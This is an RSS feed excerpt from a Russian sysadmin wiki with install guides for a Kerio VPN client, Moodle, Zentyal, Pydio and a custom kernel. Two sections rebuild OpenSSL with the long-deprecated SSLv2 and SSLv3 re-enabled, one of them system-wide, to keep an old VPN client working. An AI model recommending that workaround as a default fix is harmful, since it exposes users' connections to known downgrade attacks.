&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install ia32-libs debconf openssl&lt;/pre&gt;

&lt;p&gt;
Скачиваем kerio vpn client&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://download.kerio.com/eu/dwn/kerio-control-vpnclient-linux.deb&lt;/pre&gt;

&lt;p&gt;
Устанавливаем его так:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo dpkg -i --force-architecture --force-depends kerio-control-vpnclient-linux.deb&lt;/pre&gt;

&lt;p&gt;
Перезапускаем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /etc/init.d/kerio-kvc restart&lt;/pre&gt;

&lt;p&gt;
Оно работает.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-584&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;настройка&quot;&gt;Настройка&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Настройки &lt;strong&gt;kerio vpn-client&lt;/strong&gt; находятся тут: &lt;strong&gt;/etc/kerio-kvc.conf&lt;/strong&gt;&lt;br/&gt;

Для повторной настройки используем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dpkg-reconfigure kerio-control-vpnclient&lt;/pre&gt;

&lt;p&gt;
После изменения конфигурации выполняем: &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/etc/init.d/kerio-kvc reload&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;585-953&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;kerio_vpn_client_не_подключается&quot;&gt;Kerio VPN Client не подключается&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Столкнулся с загадочной ситуацией. &lt;br/&gt;

Новый &lt;strong&gt;Kerio VPN Client&lt;/strong&gt; версии &lt;strong&gt;8.6&lt;/strong&gt; не подключается к &lt;strong&gt;KerioControl&lt;/strong&gt; версии &lt;strong&gt;7.2&lt;/strong&gt;.
Хотя, старый версии &lt;strong&gt;8.5&lt;/strong&gt; исправно работает.
Клиент под Windows сообщает &lt;strong&gt;SSL Error&lt;/strong&gt;.
Выкладываю рабочие версии: &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/kerio-control-vpnclient-8.5.0-3127-linux.deb&quot; class=&quot;media mediafile mf_deb&quot; title=&quot;linux_faq:kerio-control-vpnclient-8.5.0-3127-linux.deb (3.6 MB)&quot;&gt;kerio-control-vpnclient-8.5.0-3127-linux.deb&lt;/a&gt;  &lt;br/&gt;

Под windows: &lt;a href=&quot;https://wiki.autosys.tk/_media/ms_windows_ms_sql/files.zip&quot; class=&quot;media mediafile mf_zip&quot; title=&quot;ms_windows_ms_sql:files.zip (14.6 MB)&quot;&gt;kerio-control-vpnclient_7.2.0_i386_and_x64_for_Windows&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Kerio VPN Client \u043d\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;kerio_vpn_client_\u043d\u0435_\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;954-1565&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;ssl3_в_ubuntu_1604&quot;&gt;SSL3 в Ubuntu 16.04&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При попытке настроить соединение в &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt; в файле ошибок &lt;strong&gt;/tmp/kerio-control-vpn.stderr&lt;/strong&gt; бывает вот такое: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;error:140A90C4:SSL routines:SSL_CTX_new:null ssl method passed:ssl_lib.c:1878:&lt;/pre&gt;

&lt;p&gt;
Это из-за того, что из нового &lt;strong&gt;openssl&lt;/strong&gt; выпилили &lt;strong&gt;SSLv3&lt;/strong&gt;.
Остается только собрать из исходников с поддержкой &lt;strong&gt;SSLv3&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://www.openssl.org/source/openssl-1.1.0c.tar.gz
tar -xvf ./openssl-1.1.0c.tar.gz 
cd openssl-1.1.0c
./config --prefix=/usr --openssldir=/usr&lt;/pre&gt;

&lt;p&gt;
Затем нужно отключить опции &lt;strong&gt;OPENSSL_NO_SSL3&lt;/strong&gt; и &lt;strong&gt;OPENSSL_NO_SSL3_METHOD&lt;/strong&gt;. &lt;br/&gt;

Для этого редактируем файлик &lt;strong&gt;./configdata.pm&lt;/strong&gt; и в строке &lt;strong&gt;openssl_other_defines&lt;/strong&gt; удаляем опции, а также в строке &lt;strong&gt;options&lt;/strong&gt; удаляем &lt;strong&gt;no-ssl3 no-ssl3-method&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;nano ./configdata.pm 
make all
sudo make install&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;SSL3 \u0432 Ubuntu 16.04&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;ssl3_\u0432_ubuntu_1604&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;1566-2605&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;скрипт_для_сборки_openssl_с_поддержкой_ssl_v3&quot;&gt;Скрипт для сборки OpenSSL с поддержкой SSL v3&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Вот предложили такой скриптец: &lt;a href=&quot;https://gist.githubusercontent.com/Albus/f62689065f7b6decbecf5d397bca6ad7/raw/19bd450d1ddb8ce57fcf2735558d63e1b9796aa4/build_openssl.sh&quot; class=&quot;urlextern&quot; title=&quot;https://gist.githubusercontent.com/Albus/f62689065f7b6decbecf5d397bca6ad7/raw/19bd450d1ddb8ce57fcf2735558d63e1b9796aa4/build_openssl.sh&quot; rel=&quot;ugc nofollow&quot;&gt;https://gist.githubusercontent.com/Albus/f62689065f7b6decbecf5d397bca6ad7/raw/19bd450d1ddb8ce57fcf2735558d63e1b9796aa4/build_openssl.sh&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/sh -e

# Get latest OpenSSL 1.0.2 version from https://openssl.org/source/
# v1.1.0 seems to have removed SSLv2/3 support
openssl_version=1.0.2e

# Build OpenSSL
wget https://openssl.org/source/openssl-$openssl_version.tar.gz
tar -xvf openssl-$openssl_version.tar.gz
cd openssl-$openssl_version
# --prefix will make sure that make install copies the files locally instead of system-wide
# --openssldir will make sure that the binary will look in the regular system location for openssl.cnf
# no-shared builds a mostly static binary
./config --prefix=`pwd`/local --openssldir=/usr/lib/ssl enable-ssl2 enable-ssl3 no-shared
make depend
make
# -i continues on errors, since make install may try to put some files in /usr/lib/ssl, which we don&amp;#039;t want
make -i install

# Install just the binary so we can use s_client -ssl2
sudo cp local/bin/openssl /usr/local/bin/

# Cleanup
cd ..
rm -rf openssl-$openssl_version
rm openssl-$openssl_version.tar.gz

# To test:
# $ openssl s_client -connect google.com:443 -ssl2
# CONNECTED(00000003)
# 139675635414688:error:1407F0E5:SSL routines:ssl2_write:ssl handshake failure:s2_pkt.c:412:
# $ openssl s_client -connect google.com:443 -ssl3
# CONNECTED(00000003)
# 140647504119456:error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number:s3_pkt.c:365:&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u043a\u0438 OpenSSL \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 SSL v3&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043a\u0440\u0438\u043f\u0442_\u0434\u043b\u044f_\u0441\u0431\u043e\u0440\u043a\u0438_openssl_\u0441_\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439_ssl_v3&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;2606-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 24 Jun 2019 07:49:36 +0000</pubDate>
        </item>
        <item>
            <title>установка-likewise-open-server</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-likewise-open-server</link>
            <description>&lt;pre class=&quot;code&quot;&gt;wget http://security.ubuntu.com/ubuntu/pool/universe/l/likewise-open/likewise-open-server_5.4.0.42111-2ubuntu1.3_amd64.deb
wget http://security.ubuntu.com/ubuntu/pool/main/l/likewise-open/likewise-open_5.4.0.42111-2ubuntu1.3_amd64.deb
sudo dpkg -i ./likewise-open_5.4.0.42111-2ubuntu1.3_amd64.deb
sudo dpkg -i ./likewise-open-server_5.4.0.42111-2ubuntu1.3_amd64.deb 
sudo apt-get -f install&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>установка-moodle-на-ubuntu-12-04</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-moodle-%D0%BD%D0%B0-ubuntu-12-04</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;ставим_стек_lemp&quot;&gt;Ставим стек LEMP&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Как ставить LEMP (Linix + nginx + MySQL + PHP) описано тут: &lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu-nginx-joomla-lemp&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu-nginx-joomla-lemp&quot; data-wiki-id=&quot;linux_faq:ubuntu-nginx-joomla-lemp&quot;&gt;Ubuntu + LEMP&lt;/a&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
После установки нужно обновить PHP:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install make python-software-properties
sudo add-apt-repository ppa:ondrej/php5
sudo apt-get update
sudo apt-get install php5&lt;/pre&gt;

&lt;p&gt;
и установить разные всякие нужные запчасти:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install graphviz aspell php5-pspell php5-curl libapache2-mod-php5 php5-gd php5-xmlrpc php5-intl php5-ldap&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0442\u0430\u0432\u0438\u043c \u0441\u0442\u0435\u043a LEMP&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0442\u0430\u0432\u0438\u043c_\u0441\u0442\u0435\u043a_lemp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-599&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;ставим_moodle&quot;&gt;Ставим Moodle&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;http://docs.moodle.org/26/en/Step-by-step_Installation_Guide_for_Ubuntu&quot; class=&quot;urlextern&quot; title=&quot;http://docs.moodle.org/26/en/Step-by-step_Installation_Guide_for_Ubuntu&quot; rel=&quot;ugc nofollow&quot;&gt;http://docs.moodle.org/26/en/Step-by-step_Installation_Guide_for_Ubuntu&lt;/a&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0442\u0430\u0432\u0438\u043c Moodle&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0442\u0430\u0432\u0438\u043c_moodle&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;600-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>установка-zentyal-на-ubuntu-14.04</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-zentyal-%D0%BD%D0%B0-ubuntu-14.04</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;добавляем_репозиторий&quot;&gt;Добавляем репозиторий&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo add-apt-repository &amp;quot;deb http://archive.zentyal.org/zentyal 4.1 main extra&amp;quot;
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 10E239FF
wget -q http://keys.zentyal.org/zentyal-4.1-archive.asc -O- | sudo apt-key add -&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c_\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-303&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;устанавливаем_ядро_zentyal&quot;&gt;Устанавливаем ядро zentyal&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update
sudo apt-get install zentyal &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u044f\u0434\u0440\u043e zentyal&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c_\u044f\u0434\u0440\u043e_zentyal&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;304-423&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;устанавливаем_функциональные_модули_zentyal&quot;&gt;Устанавливаем функциональные модули Zentyal&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Основные модули: &lt;br/&gt;

&lt;strong&gt;zentyal-office&lt;/strong&gt; — шаринг файлов, принтеров, календарей и профилей пользователей. &lt;br/&gt;

&lt;strong&gt;zentyal-communication&lt;/strong&gt; — Сервер почты, мгновенных сообщений и телефонии VoIP.&lt;br/&gt;

&lt;strong&gt;zentyal-gateway&lt;/strong&gt; — функции роутера.&lt;br/&gt;

&lt;strong&gt;zentyal-infrastructure&lt;/strong&gt; — инфраструктурные функции - NTP, DHCP, &lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt;, etc.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install zenytal-office&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 Zentyal&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c_\u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435_\u043c\u043e\u0434\u0443\u043b\u0438_zentyal&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;424-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>установка-фаилопомоики-pydio-на-lemp-бывшии-ajaxplorer</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-%D1%84%D0%B0%D0%B8%D0%BB%D0%BE%D0%BF%D0%BE%D0%BC%D0%BE%D0%B8%D0%BA%D0%B8-pydio-%D0%BD%D0%B0-lemp-%D0%B1%D1%8B%D0%B2%D1%88%D0%B8%D0%B8-ajaxplorer</link>
            <description>
&lt;p&gt;
Делаем как написано тут:&lt;br/&gt;

&lt;a href=&quot;http://wiki.autosys.tk/Linux%20FAQ.Ubuntu-nginx-Joomla-LEMP.ashx&quot; class=&quot;urlextern&quot; title=&quot;http://wiki.autosys.tk/Linux%20FAQ.Ubuntu-nginx-Joomla-LEMP.ashx&quot; rel=&quot;ugc nofollow&quot;&gt;http://wiki.autosys.tk/Linux%20FAQ.Ubuntu-nginx-Joomla-LEMP.ashx&lt;/a&gt;&lt;br/&gt;

Скачиваем и распаковываем в &lt;strong&gt;/var/www&lt;/strong&gt; сам &lt;strong&gt;Pydio&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://downloads.sourceforge.net/project/ajaxplorer/pydio/stable-channel/6.0.2/pydio-core-6.0.2.zip&lt;/pre&gt;

&lt;p&gt;
 &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Потом надо поставить и включить &lt;strong&gt;php5-ldap&lt;/strong&gt;, &lt;strong&gt;php-gd&lt;/strong&gt; и &lt;strong&gt;mcrypt&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install php5-mcrypt php5-ldap
sudo php5enmod mcrypt
sudo php5enmod php5-ldap
sudo service php5-fpm restart
sudo service nginx restart&lt;/pre&gt;

&lt;p&gt;
Отключить доступ к &lt;strong&gt;/data/&lt;/strong&gt;. Для этого в конфигурацию сайта &lt;strong&gt;nginx&lt;/strong&gt; добавляем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;      location  /data/ {
        deny all;
        return 404;
        }&lt;/pre&gt;

&lt;p&gt;
Дальше нужно сделать базу на &lt;strong&gt;MySQL&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mysql -u root -p

# Create the database
CREATE DATABASE pydio ;
# Create the user
CREATE USER &amp;#039;pydio&amp;#039;@&amp;#039;localhost&amp;#039; IDENTIFIED BY &amp;#039;password&amp;#039;;
# Assign rights
GRANT ALL PRIVILEGES ON pydio.* TO &amp;#039;pydio&amp;#039;@&amp;#039;localhost&amp;#039;;&lt;/pre&gt;

&lt;p&gt;
В процессе установки система предложит внести изменения в конфигурацию &lt;strong&gt;apache&lt;/strong&gt;. Но у нас &lt;strong&gt;nginx&lt;/strong&gt;. Поэтому надо сконвертировать конфигурацию. Для конвертирования применим &lt;a href=&quot;http://winginx.com/ru/htaccess&quot; class=&quot;urlextern&quot; title=&quot;http://winginx.com/ru/htaccess&quot; rel=&quot;ugc nofollow&quot;&gt;http://winginx.com/ru/htaccess&lt;/a&gt;. Из этого:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;
# You must set the correct values here if you want
# to enable webDAV sharing. The values assume that your 
# Pydio installation is at http://yourdomain/
# and that you want the webDAV shares to be accessible via 
# http://yourdomain/shares/repository_id/
RewriteEngine on
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^shares ./dav.php [L]
RewriteRule ^api ./rest.php [L]
RewriteRule ^user ./index.php?get_action=user_access_point [L]
RewriteCond %{REQUEST_URI} !^/index
RewriteCond %{REQUEST_URI} !^/plugins
RewriteCond %{REQUEST_URI} ^/dashboard|^/welcome|^/settings|^/ws-
RewriteRule (.*) index.php [L]

#Following lines seem to be necessary if PHP is working
#with apache as CGI or FCGI. Just remove the #
#See http://doc.tiki.org/WebDAV#Note_about_Apache_with_PHP_as_fcgi_or_cgi

#RewriteCond %{HTTP:Authorization} ^(.*)
#RewriteRule ^(.*) - [E=HTTP_AUTHORIZATION:%1]
&amp;lt;/IfModule&amp;gt;

AddType application/json .json&lt;/pre&gt;

&lt;p&gt;
Получится это:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# nginx configuration 
location ~ /index { } 

location ~ /plugins { } 

location / { 
if (!-e $request_filename) { 
   rewrite ^/shares /dav.php break; 
   } 
rewrite ^/dashboard|^/welcome|^/settings|^/ws- /index.php break; 
} 

location /ap {
   rewrite ^/api /rest.php break; 
   } 

location /use {
   rewrite ^/user /index.php?get_action=user_access_point break;
   }&lt;/pre&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;установка&quot;&gt;Установка&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Переходим на получившийся сайт и с помощью мастера завершаем установку.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;2897-3063&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;привязка_к_ad&quot;&gt;Привязка к AD&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
После установки логинимся и жмем справа вверху на кнопочку меню, а затем &lt;strong&gt;Settings&lt;/strong&gt;. &lt;br/&gt;

Затем слева - &lt;strong&gt;Application Core&lt;/strong&gt; и дальше - &lt;strong&gt;Authentification&lt;/strong&gt;.&lt;br/&gt;

Тут листаем вниз. В &lt;strong&gt;Main Instance&lt;/strong&gt; ставим галку &lt;strong&gt;Auto Create Users&lt;/strong&gt; - Yes. Для того, чтобы пользователи из AD попадали в базу приложения.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Дальше создаем &lt;strong&gt;Secondary Instance&lt;/strong&gt;. Выбираем - &lt;strong&gt;Mode&lt;/strong&gt; - Master/Slave, &lt;strong&gt;User Listing&lt;/strong&gt; - Both, &lt;strong&gt;Instance Type&lt;/strong&gt; - LDAP/AD.&lt;br/&gt;

&lt;strong&gt;LDAP &lt;abbr title=&quot;Uniform Resource Locator&quot;&gt;URL&lt;/abbr&gt;&lt;/strong&gt; - имя контроллера домена (или IP). Без префикса протокола (ldap://).&lt;br/&gt;

&lt;strong&gt;Protocol&lt;/strong&gt; - standard &lt;br/&gt;

&lt;strong&gt;Port&lt;/strong&gt; - 389&lt;br/&gt;

&lt;strong&gt;LDAP Bind username&lt;/strong&gt; - имя пользователя, которому разрешено подключаться к контроллеру в формате &lt;strong&gt;user@domain.com&lt;/strong&gt;. В официальном руководстве написано неправильно - cn=user,dc=domain,dc=com. &lt;br/&gt;

&lt;strong&gt;PeopleDN&lt;/strong&gt; - указываем OU, откуда брать пользователей. Формат - &lt;strong&gt;OU=OU_Name,dc=domain,dc=com&lt;/strong&gt;&lt;br/&gt;

&lt;strong&gt;LDAP FILTER&lt;/strong&gt; - objectClass=person&lt;br/&gt;

&lt;strong&gt;User Attribute&lt;/strong&gt; - sAMAccountname&lt;br/&gt;

&lt;strong&gt;LDAP Groups Filter&lt;/strong&gt; - objectClass=group&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a AD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430_\u043a_ad&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;3064-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>установка_ядра_pf-kernel_4._на_ubuntu_14.04</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_%D1%8F%D0%B4%D1%80%D0%B0_pf-kernel_4._%D0%BD%D0%B0_ubuntu_14.04</link>
            <description>
&lt;p&gt;
Есть такой интересный проект кастомного ядра &lt;strong&gt;pf-kernel&lt;/strong&gt;, который обещает много плюшек и повышение производительности на 15-20%.
Попробуем его применить к Ubuntu 14.04 на последнем ядре 4.0
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;устанавливаем_зависимости_и_тулзы&quot;&gt;Устанавливаем зависимости и тулзы&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get -y upgrade
sudo apt-get -y install fakeroot build-essential atool crash kexec-tools makedumpfile libncurses5 libncurses5-dev libelf-dev libdw-dev binutils-dev kernel-package libc6-dev
sudo apt-get -y build-dep kernel-package linux-meta&lt;/pre&gt;

&lt;p&gt;
При установке &lt;strong&gt;kexec-tools&lt;/strong&gt; установщик задаст вопрос - использовать ли &lt;strong&gt;kexec&lt;/strong&gt; при перезагрузке? Я ответил &lt;strong&gt;Y&lt;/strong&gt;. &lt;strong&gt;kexec-tools&lt;/strong&gt; дает возможность быстрой перезагрузки путем обновления ядра в памяти, минуя фазу с участием BIOS. Чтобы отключить kexec необходимо в файле конфигурации &lt;strong&gt;/etc/default/kexec&lt;/strong&gt; установить &lt;strong&gt;LOAD_KEXEC=false&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
